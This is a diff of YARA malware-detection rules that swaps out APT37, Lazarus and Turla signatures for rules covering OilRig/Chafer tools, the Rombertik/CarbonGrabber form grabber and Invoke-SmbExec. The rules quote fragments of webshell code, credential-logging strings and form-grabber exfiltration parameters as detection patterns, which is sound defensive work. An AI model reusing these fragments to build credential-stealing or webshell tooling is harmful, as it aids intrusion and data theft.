+		author = "Markus Neis"
+		id = "e742ab0c-0e21-569e-a100-e5082dc1d372"
+		date = "2018-03-22"
+		modified = "2022-12-21"
+		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig_chafer_mar18.yar#L61-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "373115c0a3fbfe93435aca07cbac52c7649a77d8b7d6eda8af5ce4a1a42e53a6"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "67945f2e65a4a53e2339bd361652c6663fe25060888f18e681418e313d1292ca"
 
 	strings:
-		$s1 = "        <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>" fullword ascii
-		$s2 = "Domain Login" fullword ascii
-		$s3 = "IEShims_GetOriginatingThreadContext" fullword ascii
-		$s4 = " Type Descriptor'" fullword ascii
-		$s5 = "User: %s" fullword ascii
-		$s6 = "Pass: %s" fullword ascii
-		$s7 = "  <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">" fullword ascii
-		$s8 = "E@c:\\u" fullword ascii
+		$x1 = "\\obj\\Release\\Myrtille.Services.pdb" ascii
+		$x2 = "Failed to notify rdp client process exit (MyrtilleAppPool down?), remote session {0} ({1})" fullword wide
+		$x3 = "Started rdp client process, remote session {0}" fullword wide
 
 	condition:
-		filesize <500KB and 7 of them
+		uint16(0)==0x5a4d and filesize <50KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hvs_APT37_RAT_Loader
+rule SIGNATURE_BASE_Chafer_Packed_Mimikatz : FILE
 {
 	meta:
-		description = "BLINDINGCAN RAT loader named iconcash.db used by APT37"
-		author = "Marc Stroebel"
-		id = "6c3e8465-d607-59bf-85fc-5abbef71fb1c"
-		date = "2020-12-15"
+		description = "Detects Oilrig Packed Mimikatz also detected as Chafer_WSC_x64 by FR"
+		author = "Florian Roth (Nextron Systems) / Markus Neis"
+		id = "abd34c6a-7d99-5f52-be8e-a7d634d61255"
+		date = "2018-03-22"
 		modified = "2023-12-05"
-		reference = "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_dec20.yar#L52-L65"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9"
-		logic_hash = "241f2683adc29e8aca30ae24278f3703fef0fed6b276dae488fdb32c167af1c9"
+		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig_chafer_mar18.yar#L78-L92"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0cee5270c9b76f1419c6989113dca221c5ba6f027a104d71f61d38cb59af51cd"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "5f2c3b5a08bda50cca6385ba7d84875973843885efebaff6a482a38b3cb23a7c"
+
+	strings:
+		$s1 = "Windows Security Credentials" fullword wide
+		$s2 = "Minisoft" fullword wide
+		$x1 = "Copyright (c) 2014 - 2015 Minisoft" fullword wide
 
 	condition:
-		(pe.version_info["OriginalFilename"] contains "MFC_DLL.dll") and (pe.exports("SMain") and pe.exports("SMainW"))
+		uint16(0)==0x5a4d and filesize <300KB and ( all of ($s*) or $x1)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hvs_APT37_Webshell_Img_Thumbs_Asp : FILE
+rule SIGNATURE_BASE_Oilrig_PS_Cnc : FILE
 {
 	meta:
-		description = "Webshell named img.asp, thumbs.asp or thumb.asp used by APT37"
-		author = "Moritz Oettle"
-		id = "e45d4507-81de-5f72-9ce2-4f0e3e5c62b1"
-		date = "2020-12-15"
+		description = "Powershell CnC using DNS queries"
+		author = "Markus Neis"
+		id = "cbc5689c-37ff-59b6-9e3a-7d8577021f70"
+		date = "2018-03-22"
 		modified = "2023-12-05"
-		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_dec20.yar#L68-L95"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "94d2448d3794ae3f29678a7337473d259b5cfd1c7f703fe53ee6c84dd10a48ef"
-		logic_hash = "58ccee11c08330c8cd4148e623a2e59e024d6d5f3067331dbdd962d0f6a8daa4"
+		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig_chafer_mar18.yar#L94-L107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0566f0707021af0d08426eec497292098273d46b020a5f0be6b98835ceeb82bc"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9198c29a26f9c55317b4a7a722bf084036e93a41ba4466cbb61ea23d21289cfa"
 
 	strings:
-		$s1 = "strMsg = \"E : F\"" fullword ascii
-		$s2 = "strMsg = \"S : \" & Len(fileData)" fullword ascii
-		$s3 = "Left(workDir, InStrRev(workDir, \"/\")) & \"video\""
-		$a1 = "Server.CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
-		$a2 = "Dim tmpPath, workDir" fullword ascii
-		$a3 = "Dim objFSO, objTextStream" fullword ascii
-		$a4 = "workDir = Request.ServerVariables(\"URL\")" fullword ascii
-		$a5 = "InStrRev(workDir, \"/\")" ascii
-		$g1 = "WriteFile = 0" fullword ascii
-		$g2 = "fileData = Request.Form(\"fp\")" fullword ascii
-		$g3 = "fileName = Request.Form(\"fr\")" fullword ascii
-		$g4 = "Err.Clear()" fullword ascii
-		$g5 = "Option Explicit" fullword ascii
+		$x1 = "(-join $base32filedata[$uploadedCompleteSize..$($uploadedCompleteSize" fullword ascii
+		$s2 = "$hostname = \"D\" + $fileID + (-join ((65..90) + (48..57) + (97..122)|" ascii
 
 	condition:
-		filesize <2KB and ((1 of ($s*)) or (3 of ($a*)) or (5 of ($g*)))
+		filesize <40KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hvs_APT37_Webshell_Template_Query_Asp : FILE
+rule SIGNATURE_BASE_Rombertik_Carbongrabber : FILE
 {
 	meta:
-		description = "Webshell named template-query.aspimg.asp used by APT37"
-		author = "Moritz Oettle"
-		id = "dc006b46-4c51-59cd-8b7d-adbfec86cd2e"
-		date = "2020-12-15"
+		description = "Detects CarbonGrabber alias Rombertik - file Copy#064046.scr"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b3aee336-9f3b-5fae-928d-8357408a7b69"
+		date = "2015-05-05"
 		modified = "2023-12-05"
-		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_dec20.yar#L97-L120"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "961a66d01c86fa5982e0538215b17fb9fae2991331dfea812b8c031e2ceb0d90"
-		logic_hash = "d8bd017e9103bddb0b8a86effa8a4b0617b54bd643bcc36b6f678a3e60f8559f"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_rombertik_carbongrabber.yar#L10-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ddc3ebcc460909a4afc9994cae53c9b7642f92ab6f16e2653f6b2d5002a33cda"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2f9b26b90311e62662c5946a1ac600d2996d3758"
+		hash2 = "aeb94064af2a6107a14fd32f39cb502e704cd0ab"
+		hash3 = "c2005c8d1a79da5e02e6a15d00151018658c264c"
+		hash4 = "98223d4ec272d3a631498b621618d875dd32161d"
 
 	strings:
-		$g1 = "server.scripttimeout=600" fullword ascii
-		$g2 = "response.buffer=true" fullword ascii
-		$g3 = "response.expires=-1" fullword ascii
-		$g4 = "session.timeout=600" fullword ascii
-		$a1 = "redhat hacker" ascii
-		$a2 = "want_pre.asp" ascii
-		$a3 = "vgo=\"admin\"" ascii
-		$a4 = "ywc=false" ascii
-		$s1 = "public  br,ygv,gbc,ydo,yka,wzd,sod,vmd" fullword ascii
+		$x1 = "ZwGetWriteWatch" fullword ascii
+		$x2 = "OutputDebugStringA" fullword ascii
+		$x3 = "malwar" fullword ascii
+		$x4 = "sampl" fullword ascii
+		$x5 = "viru" fullword ascii
+		$x6 = "sandb" fullword ascii
 
 	condition:
-		filesize >70KB and filesize <200KB and ((1 of ($s*)) or (2 of ($a*)) or (3 of ($g*)))
+		uint16(0)==0x5a4d and filesize <5MB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hvs_APT37_Webshell_Controllers_Asp : FILE
+rule SIGNATURE_BASE_Rombertik_Carbongrabber_Panel_Installscript : FILE
 {
 	meta:
-		description = "Webshell named controllers.asp or inc-basket-offer.asp used by APT37"
-		author = "Moritz Oettle"
-		id = "82370415-30f4-514d-8806-e2daced96f07"
-		date = "2020-12-15"
+		description = "Detects CarbonGrabber alias Rombertik panel install script - file install.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f6c04e27-bbab-5012-a4f9-71d49d252b83"
+		date = "2015-05-05"
 		modified = "2023-12-05"
-		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_dec20.yar#L140-L218"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "829462fc6d84aae04a962dfc919d0a392265fbf255eab399980d2b021e385517"
-		logic_hash = "a6e53e99f7500683d3b62a7630cecb53ee6c13b335cbf9912366675db964aefe"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_rombertik_carbongrabber.yar#L33-L53"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cd6c152dd1e0689e0bede30a8bd07fef465fbcfa"
+		logic_hash = "a0edc53aea21bc317f510a4a463ca677d9dc1ec234ca9824bc46711c851f2ccc"
 		score = 75
-		quality = 28
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<%@Language=VBScript.Encode" ascii
-		$x1 = { 64 7F 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x2 = { 64 7F 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x3 = { 64 7F 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x4 = { 64 7F 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x5 = { 64 7F 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x6 = { 64 7F 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x7 = { 64 7F 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x8 = { 64 41 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x9 = { 64 41 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x10 = { 64 41 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x11 = { 64 41 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x12 = { 64 7F 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x13 = { 64 41 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x14 = { 64 41 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x15 = { 64 41 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x16 = { 64 41 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x17 = { 64 41 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x18 = { 64 41 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x19 = { 64 41 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x20 = { 64 41 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x21 = { 64 41 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x22 = { 64 41 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x23 = { 64 7F 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x24 = { 64 41 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x25 = { 64 41 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x26 = { 6A 7F 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x27 = { 6A 7F 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x28 = { 6A 7F 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x29 = { 6A 7F 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x30 = { 6A 7F 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x31 = { 6A 7F 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x32 = { 6A 7F 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x33 = { 6A 7F 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x34 = { 64 7F 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x35 = { 6A 7F 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x36 = { 6A 7F 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x37 = { 6A 7F 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x38 = { 6A 7F 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x39 = { 6A 7F 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x40 = { 6A 7F 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x41 = { 6A 7F 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x42 = { 6A 7F 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x43 = { 6A 41 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x44 = { 6A 41 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x45 = { 64 7F 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x46 = { 6A 41 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x47 = { 6A 41 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x48 = { 6A 41 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x49 = { 6A 41 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x50 = { 6A 41 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x51 = { 6A 41 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x52 = { 6A 41 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x53 = { 6A 41 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x54 = { 6A 41 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x55 = { 6A 41 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x56 = { 64 7F 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x57 = { 6A 41 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x58 = { 6A 41 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x59 = { 6A 41 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x60 = { 6A 41 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x61 = { 64 7F 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x62 = { 64 7F 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x63 = { 64 7F 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
-		$x64 = { 64 7F 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$s0 = "$insert = \"INSERT INTO `logs` (`id`, `ip`, `name`, `host`, `post`, `time`, `bro" ascii
+		$s3 = "`post` text NOT NULL," fullword ascii
+		$s4 = "`host` text NOT NULL," fullword ascii
+		$s5 = ") ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;\" ;" fullword ascii
+		$s6 = "$db->exec($columns); //or die(print_r($db->errorInfo(), true));;" fullword ascii
+		$s9 = "$db->exec($insert);" fullword ascii
+		$s10 = "`browser` text NOT NULL," fullword ascii
+		$s13 = "`ip` text NOT NULL," fullword ascii
 
 	condition:
-		filesize >50KB and filesize <200KB and ($s0 and 1 of ($x*))
+		filesize <3KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_VULN_DRV_PROCEXP152_May23 : FILE
+rule SIGNATURE_BASE_Rombertik_Carbongrabber_Panel : FILE
 {
 	meta:
-		description = "Detects vulnerable process explorer driver (original file name: PROCEXP152.SYS), often used by attackers to elevate privileges (false positives are possible in cases in which old versions of process explorer are still present on the system)"
-		author = "Florian Roth"
-		id = "748eb390-f320-5045-bed2-24ae70471f43"
-		date = "2023-05-05"
-		modified = "2023-07-28"
-		reference = "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor_inverse_matches.yar#L502-L520"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d988bba837b91b2ad7f69be8765a948848bce21e2daa53af602f714758cda4d4"
-		score = 50
+		description = "Detects CarbonGrabber alias Rombertik Panel - file index.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f6c04e27-bbab-5012-a4f9-71d49d252b83"
+		date = "2015-05-05"
+		modified = "2023-12-05"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_rombertik_carbongrabber.yar#L55-L73"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e6e9e4fc3772ff33bbeeda51f217e9149db60082"
+		logic_hash = "8b7fde3c3894b7aa83e05f6a1b820195276f8738fde218485c0465afaed88427"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "\\ProcExpDriver.pdb" ascii
-		$a2 = "\\Device\\PROCEXP152" wide fullword
-		$a3 = "procexp.Sys" wide fullword
+		$s0 = "echo '<meta http-equiv=\"refresh\" content=\"0;url=index.php?a=login\">';" fullword ascii
+		$s1 = "echo '<meta http-equiv=\"refresh\" content=\"2;url='.$website.'/index.php?a=login" ascii
+		$s2 = "header(\"location: $website/index.php?a=login\");" fullword ascii
+		$s3 = "$insertLogSQL -> execute(array(':id' => NULL, ':ip' => $ip, ':name' => $name, ':" ascii
+		$s16 = "if($_POST['username'] == $username && $_POST['password'] == $password){" fullword ascii
+		$s17 = "$SQL = $db -> prepare(\"TRUNCATE TABLE `logs`\");" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		filesize <46KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Apt_RU_Turla_Kazuar_Debugview_Pefeatures : FILE
+rule SIGNATURE_BASE_Rombertik_Carbongrabber_Builder : FILE
 {
 	meta:
-		description = "Turla mimicking SysInternals Tools- peFeatures"
-		author = "JAG-S"
-		id = "0a1675c0-8645-5288-9ef6-e68ffbfe0c3b"
-		date = "2023-12-05"
+		description = "Detects CarbonGrabber alias Rombertik Builder - file Builder.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3233c139-ac06-576c-9870-51306d5aa385"
+		date = "2015-05-05"
 		modified = "2023-12-05"
-		reference = "https://www.epicturla.com/blog/sysinturla"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_kazuar.yar#L15-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "10c2e47e5c1885c7dc19d1fb7933c9b15911cbe4c6fba99b7f763738ae934126"
-		score = 85
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_rombertik_carbongrabber.yar#L75-L92"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b50ecc0ba3d6ec19b53efe505d14276e9e71285f"
+		logic_hash = "e9d13913ee03926920eba33a4dac2a6e9aeaaa54949c5bfea8dd956cf233abae"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "2.0"
-		hash1 = "1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c"
-		hash2 = "44cc7f6c2b664f15b499c7d07c78c110861d2cc82787ddaad28a5af8efc3daac"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s0 = "c:\\users\\iden\\documents\\visual studio 2010\\Projects\\FormGrabberBuilderC++" ascii
+		$s1 = "Host(www.panel.com): " fullword ascii
+		$s2 = "Path(/form/index.php?a=insert): " fullword ascii
+		$s3 = "FileName: " fullword ascii
+		$s4 = "~Rich8" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (pe.version_info["LegalCopyright"]=="Test Copyright" and ((pe.version_info["ProductName"]=="Sysinternals DebugView" and pe.version_info["Description"]=="Sysinternals DebugView") or (pe.version_info["FileVersion"]=="4.80.0.0" and pe.version_info["Comments"]=="Sysinternals DebugView") or (pe.version_info["OriginalName"] contains "DebugView.exe" and pe.version_info["InternalName"] contains "DebugView.exe") or (pe.version_info["OriginalName"]=="Agent.exe" and pe.version_info["InternalName"]=="Agent.exe")))
+		uint16(0)==0x5a4d and filesize <35KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_MAL_RU_Turla_Kazuar_May20_1 : FILE
+rule SIGNATURE_BASE_Rombertik_Carbongrabber_Builder_Server : FILE
 {
 	meta:
-		description = "Detects Turla Kazuar malware"
+		description = "Detects CarbonGrabber alias Rombertik Builder Server - file Server.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cd0d1fa2-5303-55f8-90a7-4a699ec79230"
-		date = "2020-05-28"
+		id = "742003a2-3716-5ad9-a720-b9e2be71554a"
+		date = "2015-05-05"
 		modified = "2023-12-05"
-		reference = "https://www.epicturla.com/blog/sysinturla"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_kazuar.yar#L61-L81"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "547ed3cd88057ab91a0804ecf515eacca04fcf6e490aed1ee0f6a26c3d6b8268"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_rombertik_carbongrabber.yar#L94-L117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "895fab8d55882eac51d4b27a188aa67205ff0ae5"
+		logic_hash = "693c92128166c72aded066fa66eef906a9f6027c65b889f3a487a38382f29982"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c"
-		hash2 = "1fca5f41211c800830c5f5c3e355d31a05e4c702401a61f11e25387e25eeb7fa"
-		hash3 = "2d8151dabf891cf743e67c6f9765ee79884d024b10d265119873b0967a09b20f"
-		hash4 = "44cc7f6c2b664f15b499c7d07c78c110861d2cc82787ddaad28a5af8efc3daac"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Sysinternals" ascii fullword
-		$s2 = "Test Copyright" wide fullword
-		$op1 = { 0d 01 00 08 34 2e 38 30 2e 30 2e 30 00 00 13 01 }
+		$s0 = "C:\\WINDOWS\\system32\\svchost.exe" fullword ascii
+		$s3 = "Software\\Microsoft\\Windows\\Currentversion\\RunOnce" fullword ascii
+		$s4 = "chrome.exe" fullword ascii
+		$s5 = "firefox.exe" fullword ascii
+		$s6 = "chrome.dll" fullword ascii
+		$s7 = "@KERNEL32.DLL" fullword wide
+		$s8 = "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome" ascii
+		$s10 = "&post=" fullword ascii
+		$s11 = "&host=" fullword ascii
+		$s12 = "Ws2_32.dll" fullword ascii
+		$s16 = "&browser=" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		uint16(0)==0x5a4d and filesize <250KB and 8 of them
 }
-rule SIGNATURE_BASE_Unspecified_Malware_Jul17_2C : FILE
+rule SIGNATURE_BASE_Invoke_Smbexec : FILE
 {
 	meta:
-		description = "Unspecified Malware - CN relation"
+		description = "Detects Invoke-WmiExec or Invoke-SmbExec"
 		author = "Florian Roth (Nextron Systems)"
-		id = "91e760e8-7460-54af-a794-0b41a4b19760"
-		date = "2017-07-18"
+		id = "07c742f4-3039-5c84-81d4-73ad25b98681"
+		date = "2017-06-14"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/CX3KaY"
